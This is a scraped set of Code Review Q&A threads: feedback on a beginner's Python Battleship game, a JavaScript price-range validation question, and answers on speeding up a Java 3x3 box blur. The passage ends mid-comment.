<p>I have just finished learning basic-intermediate Python subjects and wanted to test myself. This Battleship game is the third game i have written.</p> <pre class="lang-py prettyprint-override"><code>import random def create_random_ship(): return random.randint(0, 5), random.randint(0, 5) def play_again(): try_again = input("Wanna play again? &lt;Y&gt;es or &lt;N&gt;o? &gt;: ").lower() if try_again == "y": play_game() else: print("Goodbye!") return print("Welcome to the Battleship game!" "\nYour main objective is to find and destroy all the hidden ships on map!\n") print("""\nIntroductions: \nYou have 10 ammo and there are 3 hidden ships on map. In order to hit them, you have to enter specific numbers for that location. For example: For the first row and first column, you have to write 1 and 1. I wish you good fortune in wars to come!\n""") def play_game(): game_board = [["O", "O", "O", "O", "O"], ["O", "O", "O", "O", "O"], ["O", "O", "O", "O", "O"], ["O", "O", "O", "O", "O"], ["O", "O", "O", "O", "O"]] for i in game_board: print(*i) ship1 = create_random_ship() ship2 = create_random_ship() ship3 = create_random_ship() ships_left = 3 ammo = 10 while ammo: try: row = int(input("Enter a row number between 1-5 &gt;: ")) column = int(input("Enter a column number between 1-5 &gt;: ")) except ValueError: print("Only enter number!") continue if row not in range(1,6) or column not in range(1, 6): print("\nThe numbers must be between 1-5!") continue row = row - 1 # Reducing number to desired index. column = column - 1 # Reducing number to desired index. if game_board[row][column] == "-" or game_board[row][column] == "X": print("\nYou have already shoot that place!\n") continue elif (row, column) == ship1 or (row, column) == ship2 or (row, column) == ship3: print("\nBoom! You hit! A ship has exploded! You were granted a new ammo!\n") game_board[row][column] = "X" ships_left -= 1 if ships_left == 0: print("My my, i didn't know you were a sharpshooter! Congratz, you won!") play_again() else: print("\nYou missed!\n") game_board[row][column] = "-" ammo -= 1 for i in game_board: print(*i) print(f"Ammo left: {ammo} | Ships left: {ships_left}") play_again() if __name__ == "__main__": play_game() </code></pre> <p>What do you think? How can I make it better? What are my mistakes?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T14:11:33.537", "Id": "452817", "Score": "1", "body": "*\"I know that there is a bug possiblity ...\"* brings your question dangerously close to [off-topic waters](/help/dont-ask). This might lead to your question being closed until you have fixed the bug." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T14:53:29.380", "Id": "452823", "Score": "0", "body": "for start, I think it's not a good practice to have `\\n` inside a triple-quoted string." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T10:21:31.637", "Id": "452915", "Score": "2", "body": "@RonKlein Feel free to point that out in an answer, with suggestions on how to do that more proper. Small answers are still valid answers." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-12T11:15:56.523", "Id": "453402", "Score": "2", "body": "Please do not change the code of your question after it has been answered. This invalidates the answers. Please read [answer] for more details." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-12T11:21:16.840", "Id": "453403", "Score": "1", "body": "@Gloweye Sorry, i revert it back." } ]
[ { "body": "<h2>Magic Numbers</h2>\n\n<p>Your biggest issue is too many magic numbers and hard-coded information.</p>\n\n<p>If you added at the top of your script:</p>\n\n<pre><code>ROWS = 5\nCOLUMNS = 5\n</code></pre>\n\n<p>then you could have:</p>\n\n<pre><code>def create_random_ship():\n return random.randrange(ROWS), random.randrange(COLUMNS)\n</code></pre>\n\n<p>Game board can be created with:</p>\n\n<pre><code>game_board = [[\"O\"] * COLUMNS for _ in range(ROWS)]\n</code></pre>\n\n<p>And you can ask for input from the user with:</p>\n\n<pre><code>row = int(input(f\"Enter a row number between 1-{ROWS} &gt;: \"))\n</code></pre>\n\n<p>Along the same vein, you could have:</p>\n\n<pre><code>print(f\"\"\"\\nIntroductions:\n\\nYou have {INIT_AMMO} ammo and there are {INIT_ENEMY} hidden ships on map.\n...\"\"\")\n</code></pre>\n\n<p>so your welcome instructions can keep up-to-date with any changes to your game initial conditions.</p>\n\n<h2>Instructions</h2>\n\n<p>You have a <code>if __name__ == \"__main__\":</code> guard to prevent the code from running if imported into another script, but your instruction are unconditionally printed. You should move the instruction printing into an <code>instructions()</code> function, and call that only if appropriate.</p>\n\n<h2>Infinite Recursion</h2>\n\n<p><code>play_game()</code> calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, which calls <code>play_again()</code>, which can call <code>play_game()</code>, ...</p>\n\n<pre><code>Traceback (most recent call last):\n [...omitted...]\nRecursionError: maximum recursion depth exceeded\n</code></pre>\n\n<p>Don't do that. Much simpler is to have <code>play_again()</code> return a <code>True</code>/<code>False</code> result, and loop based on the return value:</p>\n\n<pre><code>def play_many_games():\n\n instructions()\n\n play_game()\n\n while play_again():\n play_game()\n\n print(\"Goodbye!\")\n\nif __name__ == \"__main__\":\n play_many_games()\n</code></pre>\n\n<p>No more recursion.</p>\n\n<p>In the comments, @Graipher suggests an alternate method to avoid the recursion:</p>\n\n<pre><code>while True:\n play_game()\n if not play_again():\n break\n</code></pre>\n\n<p>Yet another alternative introduces a loop condition variable, which is pre-set before the loop:</p>\n\n<pre><code> playing = True\n while playing:\n play_game()\n playing = play_again()\n</code></pre>\n\n<p>All three approaches avoid the infinite recursion.</p>\n\n<h2>I Saw Three Ships...</h2>\n\n<pre><code>ship1 = create_random_ship()\nship2 = create_random_ship()\nship3 = create_random_ship()\n\n# ...\n\n elif (row, column) == ship1 or (row, column) == ship2 or (row, column) == ship3:\n</code></pre>\n\n<p>What are you going to do if you change this to four ships, or even 5 ships?</p>\n\n<p>With computers, there are 3 important numbers: zero, one and many. If you have more than one ship, you have \"many\" ships, and should put them in a container, such as a <code>list()</code>:</p>\n\n<pre><code>ship_coordinates = []\nfor _ in range(ships_left):\n ship_coordinates.append(create_random_ship())\n</code></pre>\n\n<p>And when you want to see if a particular row/column matches any one of the ship coordinates in the container, you use the <code>in</code> function:</p>\n\n<pre><code> elif (row, column) in ship_coordinates:\n</code></pre>\n\n<p>There are other container types you can use, such as a <code>set()</code> which has faster <code>in</code> performance. However, it cannot add the same value more than once, and using it would result in slightly different behaviour to what you currently have. You've mentioned that you have a bug where ships can have the same coordinates, and I am trying very hard not to accidentally fix that. (Code Review is for reviewing working code only, not help debugging, so I am tiptoeing around the bug, so that you can fix it yourself.)</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T10:13:21.807", "Id": "452913", "Score": "0", "body": "Now that I've spend a while on Code Review, I gotta say that it's a lot more common than I expected that people try to start a new game or re-try input through \"recursion.\" Quoted recursion because there's no actual intent to recurse." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T12:10:11.427", "Id": "452924", "Score": "1", "body": "Note that the code as given has a bug that wouldn't be an issue if it wasn't using magic numbers. The game board is 5 x 5 but the inputs are 1 through 6." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T12:45:42.170", "Id": "452929", "Score": "4", "body": "I'm personally more a fan of `while True: play_game(); if not play_again(): break`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T14:20:07.243", "Id": "452947", "Score": "0", "body": "@LorenPechtel `row not in range(1,6)` looks wrong but it is correct due to Python’s ranges excluding the end-point. The revised code would read `row not in range(1, ROWS+1)` if written the same way." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T14:27:58.610", "Id": "452948", "Score": "2", "body": "@Graipher For a third variant `playing = True; while playing: play_game(); playing = play_again()` but it introduces an extra variable." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-12T11:03:41.050", "Id": "453401", "Score": "1", "body": "I prefer `game(); while play_again(): game()`. It's the least lines even if you have code duplication. I don't think it's worth polluting python with a `do: game(); while play_again()`, though. Even if that's semantically what you'd want." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-01-27T17:01:12.543", "Id": "462867", "Score": "0", "body": "I would replace *which calls play_again(), which can call play_game(), ...* with *which can cause infinite recursion:*." } ], "meta_data": { "CommentCount": "7", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T23:46:33.467", "Id": "232036", "ParentId": "232013", "Score": "19" } }, { "body": "<blockquote>\n <p>How can i prevent that ships may have the same coordinates?</p>\n</blockquote>\n\n<p>In other words, you want to pick three distinct locations on the board randomly; one for each ship. Sounds like you want a random sample (without replacement) of size three from the population of the game board coordinates:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>from random import sample\nfrom itertools import product\n\nROWS = 5\nCOLUMNS = 5\nNUM_SHIPS = 3\n\n# game_coordinates = [\n# (0, 0), (0, 1), (0, 2), (0, 3), (0, 4),\n# (1, 0), (1, 1), (1, 2), (1, 3), (1, 4),\n# (2, 0), (2, 1), (2, 2), (2, 3), (2, 4),\n# (3, 0), (3, 1), (3, 2), (3, 3), (3, 4),\n# (4, 0), (4, 1), (4, 2), (4, 3), (4, 4)\n# ]\ngame_coordinates = list(product(range(ROWS), range(COLUMNS)))\n\nship1, ship2, ship3 = sample(game_coordinates, NUM_SHIPS)\n</code></pre>\n\n<p>Explanation of the above code:</p>\n\n<p>First we generate a list of all the game coordinates using <a href=\"https://docs.python.org/3/library/itertools.html#itertools.product\" rel=\"nofollow noreferrer\"><code>itertools.product</code></a> to calculate the Cartesian product of the row and column indices.</p>\n\n<p>Then using <a href=\"https://docs.python.org/3/library/random.html#random.sample\" rel=\"nofollow noreferrer\"><code>random.sample</code></a>, we take a random sample (without replacement) of size three from <code>game_coordinates</code> to get the coordinates of the three ships.</p>\n\n<p><strong>EDIT:</strong> To expand on the above example (and to address @TemporalWolf's comment), I should clarify that creating the list of game coordinates only needs to happen <strong>once</strong> per program run.</p>\n\n<p>Near the top of the program, you can declare game constants like so:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>ROWS = 5\nCOLUMNS = 5\nNUM_SHIPS = 3\nGAME_COORDINATES = list(product(range(ROWS), range(COLUMNS)))\n</code></pre>\n\n<p>Then in <code>play_game</code>:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code># set of ships the player must hit to win the game\nships = set(sample(GAME_COORDINATES, NUM_SHIPS))\n\n# ...\n\n# player hit a ship!\nelif (row, column) in ships:\n # ...\n game_board[row][column] = \"X\"\n ships.remove((row, column))\n\n # player hit all the ships -- victory!\n if not ships:\n # print congratulatory message\n</code></pre>\n\n<p>The list of coordinates <code>GAME_COORDINATES</code> is created only once at the beginning of the program, and used (and re-used) in each call to <code>play_game</code> within the same program run.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T19:30:42.280", "Id": "452979", "Score": "1", "body": "This is a really resource intensive way to do this, as it generates all possible outcomes then throws away all but three of them. For this program it's not a big deal, but for more complex boards this would bog down quickly." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T00:30:14.737", "Id": "453018", "Score": "1", "body": "While it's true that the generation of the full list is costly, the generation of the list only need to happen _once_ per program invocation. After it's generated, one can continue to randomly pick ships from the same list if the player wishes to play again during the same program run." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T06:30:59.777", "Id": "232042", "ParentId": "232013", "Score": "4" } }, { "body": "<p>I'd say that </p>\n\n<pre><code>game_board = [[\"O\", \"O\", \"O\", \"O\", \"O\"],\n [\"O\", \"O\", \"O\", \"O\", \"O\"],\n [\"O\", \"O\", \"O\", \"O\", \"O\"],\n [\"O\", \"O\", \"O\", \"O\", \"O\"],\n [ \"O\", \"O\", \"O\", \"O\", \"O\"]]\n\nfor i in game_board:\n print(*i)\n</code></pre>\n\n<p>produces a neat display:</p>\n\n<pre><code>O O O O O\nO O O O O\nO O O O O\nO O O O O\nO O O O O\n</code></pre>\n\n<p>which is an awesome way of translating array to display.</p>\n\n<pre><code>elif (row, column) == ship1\n</code></pre>\n\n<p>is also an intelligent way of coupling function with comparison where initialisation is class like:</p>\n\n<pre><code>ship1 = create_random_ship()\n</code></pre>\n\n<p>but, a ship class might be better</p>\n\n<h3>The Ship class</h3>\n\n<pre><code>class Ship:\n def __init__(self):\n self.coord = (random.randint(0, 5), random.randint(0, 5))\n\n def __eq__(self, other):\n return self.coord == other\n</code></pre>\n\n<p>with initialisations as</p>\n\n<pre><code>ship1 = Ship()\nship2 = Ship()\nship3 = Ship()\n</code></pre>\n\n<p>This also helps if you want to add more info to your ships like let's say you want to make 3 teams</p>\n\n<h3>Messages Display</h3>\n\n<p>We might want to hold messages in a structure like</p>\n\n<pre><code>class Message:\n welcome = (\"Welcome to the Battleship game!\\n\"\n \"Your main objective is to find and destroy all the hidden ships on map!\\n\")\n instructions = (\"\\nIntroductions:\\n\"\n \"You have 10 ammo and there are 3 hidden ships on map.\\n\"\n \"In order to hit them, you have to enter specific numbers for that location. For example:\\n\"\n \"For the first row and first column, you have to write 1 and 1.\\n\"\n \"I wish you good fortune in wars to come!\\n\")\n # ...\n</code></pre>\n\n<p>and use as</p>\n\n<pre><code>print(Message.welcome)\nprint(Message.instructions)\n</code></pre>\n\n<h3>Ship Initialisations</h3>\n\n<p>Ships could be better instantiated, maybe a function which modifies the game coordinates to represent the ship with a new symbol. Could be useful in the case where one ship occupies more than one tile</p>\n\n<h3>Game Class</h3>\n\n<p>A game class might be better suited with initialisations of the board size and number of random ships.</p>\n\n<pre><code>battle_ship = Game(board_size=(5,5), rand_ships=3)\n</code></pre>\n\n<p>Then you have methods as</p>\n\n<pre><code>battle_ship.play()\nbattle_ship.play_again()\n</code></pre>\n\n<h3>Miscellaneous</h3>\n\n<ul>\n<li>+1 for use of f strings. </li>\n<li>The game is also pretty smooth, maybe an Exception to catch KeyboardInterrupt might enhance it better. </li>\n<li>I find it tiring to add row and col line by line, maybe a format like <code>1 5</code> might be used to specify it at once.</li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T11:25:01.773", "Id": "452920", "Score": "3", "body": "The init function for your Ship class could create multiple ships on the same coordinates. I would add a method to create multiple ships at once or to have the init method have the others ships as argument to ensure that there will be only one ship at one coordinate." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T13:26:47.303", "Id": "452937", "Score": "0", "body": "@GáborFekete Yes a better alternative would be only a Ship class with the ```generate_ships``` method apart, either in a ```Game``` class or as a function" } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T10:35:49.523", "Id": "232053", "ParentId": "232013", "Score": "3" } }, { "body": "<p>First things first: <a href=\"https://docs.python.org/3/library/random.html#random.randint\" rel=\"nofollow noreferrer\"><code>random.randint()</code></a> is inclusive of it's second term, so (0, 5) can generate 5 (this is different than <code>range()</code>, for example, which is exclusive of the 2nd term). If you want to maintain the similarity with <code>range()</code>, there is <a href=\"https://docs.python.org/3/library/random.html#random.randrange\" rel=\"nofollow noreferrer\"><code>random.randrange()</code></a> which acts like you expect. This is reflected in the docs:</p>\n<blockquote>\n<p><code>random.randint(a, b)</code>:</p>\n<p>Return a random integer N such that a &lt;= N &lt;= b. Alias for randrange(a, b+1).</p>\n</blockquote>\n<p>There are multiple ways to deconflict ships, the simplest is to just regenerate when you detect a conflict:</p>\n<pre><code>import random\n\nnumber_of_ships = 3\nboardsize = 5\n\ndef generate_ships(number_of_ships, max_x, max_y):\n while True:\n ships = [(random.randint(0, max_x - 1), random.randint(0, max_y - 1)) for _ in range(number_of_ships)]\n if len(set(ship for ship in ships)) == number_of_ships:\n return ships # return once we have a list of unique ships\n\nship_locations = generate_ships(number_of_ships, boardsize, boardsize)\n</code></pre>\n<p>In this case I just make a set of all ship coordinates and see if that set is the same length as the number of ships requested. If any share coordinates, the set will be short, so I regenerate the list.</p>\n<p>I'm using a list comprehension, which is equivalent to:</p>\n<pre><code>ships = []\nfor _ in range(number_of_ships):\n ships.append((random.randint(0, max_x - 1), random.randint(0, max_y - 1)))\n</code></pre>\n<p>It's worth noting <code>_</code> is not a special variable, but by convention shows I'm not using that value (I just want the code to repeat <code>number_of_ships</code> times.)</p>\n<p>I ran a quick test and over 1 million attempts to generate ships there was a conflict about 13% of the time on a 5x5 board, which is generally consistent with the expected overlap rate for a 25 choose 3 problem. On an 8x8 that drops to 5%.</p>\n<blockquote>\n<p><code>if game_board[row][column] == &quot;-&quot; or game_board[row][column] == &quot;X&quot;:</code></p>\n<p><code>elif (row, column) == ship1 or (row, column) == ship2 or (row, column) == ship3</code></p>\n</blockquote>\n<p>These can both be simplified with <code>in</code> notation, which checks whether something is contained in a list, doubly so if you put the ships into a list like I showed above:</p>\n<pre><code>if game_board[row][column] in &quot;-X&quot;: # If board shows either a dash or X\n ...\nelif (row, column) in ship_locations: # If ship at location\n ...\n</code></pre>\n<blockquote>\n<p><code>if ships_left == 0:</code></p>\n</blockquote>\n<p>Numbers are truthy/falsey, so you can instead say</p>\n<pre><code>if not ships_left:\n ...\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T13:08:28.350", "Id": "453051", "Score": "1", "body": "If, for some reason, you will be creating 24 ships on the 5-by-5 field, your approach will be... slow." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-12T21:53:47.827", "Id": "453510", "Score": "0", "body": "@svavil It would be prudent to set a limit in the function. In fact, 6 ships is enough to give a 47% retry rate on average. At 10 ships it will take on average 5 attempts to find an appropriate layout. You can also hard cap this on a 5x5 by inverting the formula at the middle point: above 13 ships, just calculate empty spaces and then return the inverse. This caps our average tries at around 31 per game (98% collision rate at 13 ships), which is still basically imperceptible. Note 25 choose 13 has 5.2M results, so this is still doing a small fraction of the work of searching the whole space." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T21:33:53.083", "Id": "232080", "ParentId": "232013", "Score": "2" } }, { "body": "<p>This is how i have fixed the bug:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>def create_random_ships():\n ship_coordinates = []\n\n while len(ship_coordinates) &lt; 3:\n ship = [random.randrange(5), random.randrange(5)]\n if ship not in ship_coordinates:\n ship_coordinates += [ship]\n\n return ship_coordinates\n</code></pre>\n\n<p>First, i have redefined the ship creation function like above.</p>\n\n<p>Then,</p>\n\n<pre class=\"lang-py prettyprint-override\"><code> elif [row, column] in ship_coordinates:\n print(\"\\nBoom! You hit! A ship has exploded! You were granted a new ammo!\\n\")\n game_board[row][column] = \"X\"\n ships_left -= 1\n if not ships_left:\n print(\"My my, i didn't know you were a sharpshooter! Congratz, you won!\")\n break\n</code></pre>\n\n<p>I have changed the coordinate checking statement like above. Now, the bug is fixed and my code is much more improved compared to the previous code. Thank you all.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-16T17:43:47.593", "Id": "454054", "Score": "0", "body": "I’m disappointed to see you’re still using magic numbers in your fix." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-12T10:56:35.120", "Id": "232239", "ParentId": "232013", "Score": "0" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T13:53:29.233", "Id": "232013", "Score": "13", "Tags": [ "python", "beginner", "python-3.x", "game", "battleship" ], "Title": "A Simple Battleship Game" }
232013
<p>I have two functions, one that returns two values <code>min</code> and a <code>max</code> and another function that serves as a guard. However I would like to </p> <ol> <li>remove the logic of the <code>if/else</code> inside the <code>invalidPriceRangeException</code> function.</li> <li>be able to know that <code>priceRange</code> returns an a <code>min</code> and a <code>max</code> without having to know that the first number is the <code>min</code>. </li> </ol> <p>Maybe I'm over complicating things? </p> <p>Thanks</p> <pre><code>// @flow // @format type ExceptionError = { InvalidPriceRangeException: string | ExceptionInformation } export const priceRange = (minimumRate:number, maximumRate:number): {number, number} =&gt; { this.minimumRate = minimumRate; this.maximumRate = maximumRate; // [ASK]: I would like to have this 'guard' inside the `invalidPriceRangeException` where it belongs if (minimumRate &lt;= maximumRate) { // [ASK]: How to have priceRange return either minimumRate || maximumRate without me having to return an obj? return { minimumRate, maximumRate }; } else { throw new invalidPriceRangeException(minimumRate, maximumRate) } }; const invalidPriceRangeException = (minimumRate:number, maximumRate:number): InvalidPriceRangeException =&gt; { this.minimumRate = minimumRate; this.maximumRate = maximumRate; return this.msg = `minimum (${minimumRate}) is larger than maximum (${maximumRate})` }; </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T16:41:14.823", "Id": "452835", "Score": "0", "body": "both an implementation and requirements are strange. `priceRange` acts more like a validator. 1) why should it return `either minimumRate || maximumRate` ? 2) what is `this.minimumRate` and `this.maximumRate` for, in function context?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T17:08:51.693", "Id": "452836", "Score": "0", "body": "@RomanPerekhrest exactly I would like to extract that `validator` logic outside of the priceRange function cause it doesn't belong there. I think i have looked at it too much though." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T15:29:39.473", "Id": "232019", "Score": "2", "Tags": [ "javascript", "type-safety" ], "Title": "Returns either an object containing two values or an exception if values or not a valid range" }
232019
<p>I'm building an image filtering application, and I'm new to the Java frameworks that I need to do so. Right now, I can apply a simple 3x3 kernel blur to my thing by overwriting the RGB values of the destination picture pixel by pixel using the RGB averages from the original photo. I'm trying to increase the speed at which I can perform these filter calculations so there's less lag in my app.</p> <p>I've done some surface level optimization, but if there's anything you see <strong>that could better utilize the cache</strong> or an entirely <strong>different framework that's faster than <code>BufferedImage.getRGB()</code></strong>, I'd love to hear!</p> <pre class="lang-java prettyprint-override"><code>public void boxBlur(ImageView iv) { for (int height = 0; height &lt; sourceImage.getHeight(); height++) { for (int width = 0; width &lt; sourceImage.getWidth(); width++) { int[][] kernel = new int[][]{ // Contruct RGB array to manipulate. Edges are accounted for in construction {(height == 0 || width == 0) ? sourceImage.getRGB(width, height) : sourceImage.getRGB(width - 1, height - 1), (height == 0) ? sourceImage.getRGB(width, height) : sourceImage.getRGB(width, height - 1), (height == 0 || width &gt;= sourceImage.getWidth() - 1) ? sourceImage.getRGB(width, height) : sourceImage.getRGB(width + 1, height - 1)}, {(width == 0) ? sourceImage.getRGB(width, height) : sourceImage.getRGB(width - 1, height), sourceImage.getRGB(width, height), (width == sourceImage.getWidth() - 1) ? sourceImage.getRGB(width, height) : sourceImage.getRGB(width + 1, height)}, {(height &gt;= sourceImage.getHeight() - 1 || width == 0) ? sourceImage.getRGB(width, height) : sourceImage.getRGB(width - 1, height + 1), (height &gt;= sourceImage.getHeight() - 1) ? sourceImage.getRGB(width, height) : sourceImage.getRGB(width, height + 1), (height &gt;= sourceImage.getHeight() - 1 || width &gt;= sourceImage.getWidth() - 1) ? sourceImage.getRGB(width, height) : sourceImage.getRGB(width + 1, height + 1)} }; int redAvg = 0, blueAvg = 0, greenAvg = 0; for (int i[] : kernel) { for (int j : i) { redAvg += getRed(j); // Get bitwise value from RGB int greenAvg += getGreen(j); blueAvg += getBlue(j); } } redAvg /= 9; // 9 is size of kernel greenAvg /= 9; blueAvg /= 9; destinationImage.setRGB(width, height, 65536 * redAvg + 256 * greenAvg + blueAvg); // setRGB() takes the integer value of an rgb color } } iv.setImage(updateDisplay()); } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T17:10:25.853", "Id": "452837", "Score": "3", "body": "Welcome to Code Review! I personally come from a C++/Python background where [OpenCV](https://opencv.org/) is one of the most used image processing libraries. AFAIK, there are also bindings for Java. You might have to invest a little bit of your time to build them yourself if you cannot find prebuilt binaries including them. Fortunately, there are a few tutorial such as [this one](https://opencv-java-tutorials.readthedocs.io/en/latest/index.html) which can help you to get started." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T21:10:08.553", "Id": "452996", "Score": "1", "body": "Have you looked at `ConvolveOp`. It does this all for you in one or two lines (except it will leave border pixels unchanged). Sending you back to SO : https://stackoverflow.com/questions/29295929/java-blur-image" } ]
[ { "body": "<p><strong>Throwaway memory</strong></p>\n\n<p>I haven't done any analysis on the code but based on my experience the worst part is the allocation of throwaway memory inside the innermost loop. Instead of allocating a 3x3 array 9 million times and throwing it to the garbage colletor immediately, allocate it once at the start of the method and reuse it in the loop.</p>\n\n<pre><code>int[][] kernel = new int[][] { ... }\n</code></pre>\n\n<p><strong>Repeated calculations</strong></p>\n\n<p>Second obvious thing is the repeating of same mathematical operations. You calculate the right and bottom border several times inside the innermost loop even though the result never changes during the image processing. Calculate these at the start of the method and store the results to local variables:</p>\n\n<pre><code>sourceImage.getHeight() - 1\nsourceImage.getWidth() - 1\n</code></pre>\n\n<p><strong>Sacrifice readability for performance</strong></p>\n\n<p>After solving the obvious parts, you can start breaking good coding conventions. The only reason you have those mile long unreadable ternary operations is to handle the edge cases that affect 0.1% of your data. Take out the easy code inside the edges that covers 99.9% of your running time, that doesn't need any bounds checking, and make it as fast as possible. Then make a separate loop that handle only the edges.</p>\n\n<p><strong>Bad variable naming</strong></p>\n\n<p>The choice of loop variables are bad. <code>Width</code> and <code>height</code> are constants of the image that refer to the right and bottom border. You are using these names to refer to single pixels inside the image. The correct names here would be <code>x</code> and <code>y</code>. This makes following your code extremely difficult.</p>\n\n<p>Refer to the good old StackOverflow-side of this site for more info about accessing the color values directly:</p>\n\n<p><a href=\"https://stackoverflow.com/questions/37779515/how-can-i-convert-an-imageview-to-byte-array-in-android-studio\">https://stackoverflow.com/questions/37779515/how-can-i-convert-an-imageview-to-byte-array-in-android-studio</a></p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T20:08:12.787", "Id": "452982", "Score": "0", "body": "I'm pretty sure all the `getWidth()-1`s etc will be optimised away anyway but boiling it down to `w` and `h` might well help it be more readable." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T20:27:39.800", "Id": "452985", "Score": "1", "body": "I doubt it. The return value of getWidth() is calculated in View.java and it's components are \"protected\". Maybe they get optimized at runtime, but not at the compiler." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T07:06:58.353", "Id": "232044", "ParentId": "232021", "Score": "6" } }, { "body": "<ol>\n<li><p>As has been pointed out, the code allocates a <code>new int[3][3]</code> for each pixel. Do this once and reuse. </p></li>\n<li><p>Use <code>int[9] kernel</code> instead of <code>int[3][3]</code>. This will remove the need for the inner <code>j</code> loop when summing.</p></li>\n<li><p><code>sourceImage.getRGB(x-1, y-1, 3, 3, kernel, 0, 3)</code> will read 9 pixels at once though it won't handle borders without similar conditions to yours.</p></li>\n<li><p>Memory is cheap so get the whole RGB image, once only (<code>sourceImage.getRGB(0,0,w,h,pixels,0,w)</code>) then work directly with array-access only.</p></li>\n<li><p>Consider writing this as a <code>ForkJoin</code> task to parallelise the processing. Though all tasks can share the same <code>pixels</code> array, any image-task can be split into two sub-tasks along its longest edge (like folding a towel)</p></li>\n</ol>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T06:16:37.277", "Id": "453025", "Score": "0", "body": "I did a bit of experimenting with multithreaded image processing on Android some time ago and found that it had a degrading effect on a four core processor. I guess most modern devices have more now, but it's a thing to keep in mind." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T22:42:21.047", "Id": "232082", "ParentId": "232021", "Score": "2" } }, { "body": "<p>As you specifically ask for a different framework: you reinvented the wheel here.</p>\n\n<p>The base libraries of java already contain everything necessary to do this operation in a few lines of code while utilizing highly optimized vendor code.</p>\n\n<p>For a blur operation, create a kernel of 1/9 in 3x3, e.g.</p>\n\n<pre><code> float oneNinth = 1f / 9f;\n Kernel kernel = new Kernel(3, 3, new float[] {\n oneNinth, oneNinth, oneNinth,\n oneNinth, oneNinth, oneNinth,\n oneNinth, oneNinth, oneNinth });\n</code></pre>\n\n<p>then create a ConvolveOp and apply it to the source and destination images:</p>\n\n<pre><code> BufferedImageOp op = new ConvolveOp(kernel);\n op.filter(srcImage, dstImage);\n</code></pre>\n\n<p>I am sure you'll find lots of examples out there.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T20:51:30.280", "Id": "453099", "Score": "0", "body": "I knew of `ConvolveOp` but wanted to fact-check that comment about \"optimised vendor code\". It certainly does lead down to a class named `ImagingLib` which hooks into native 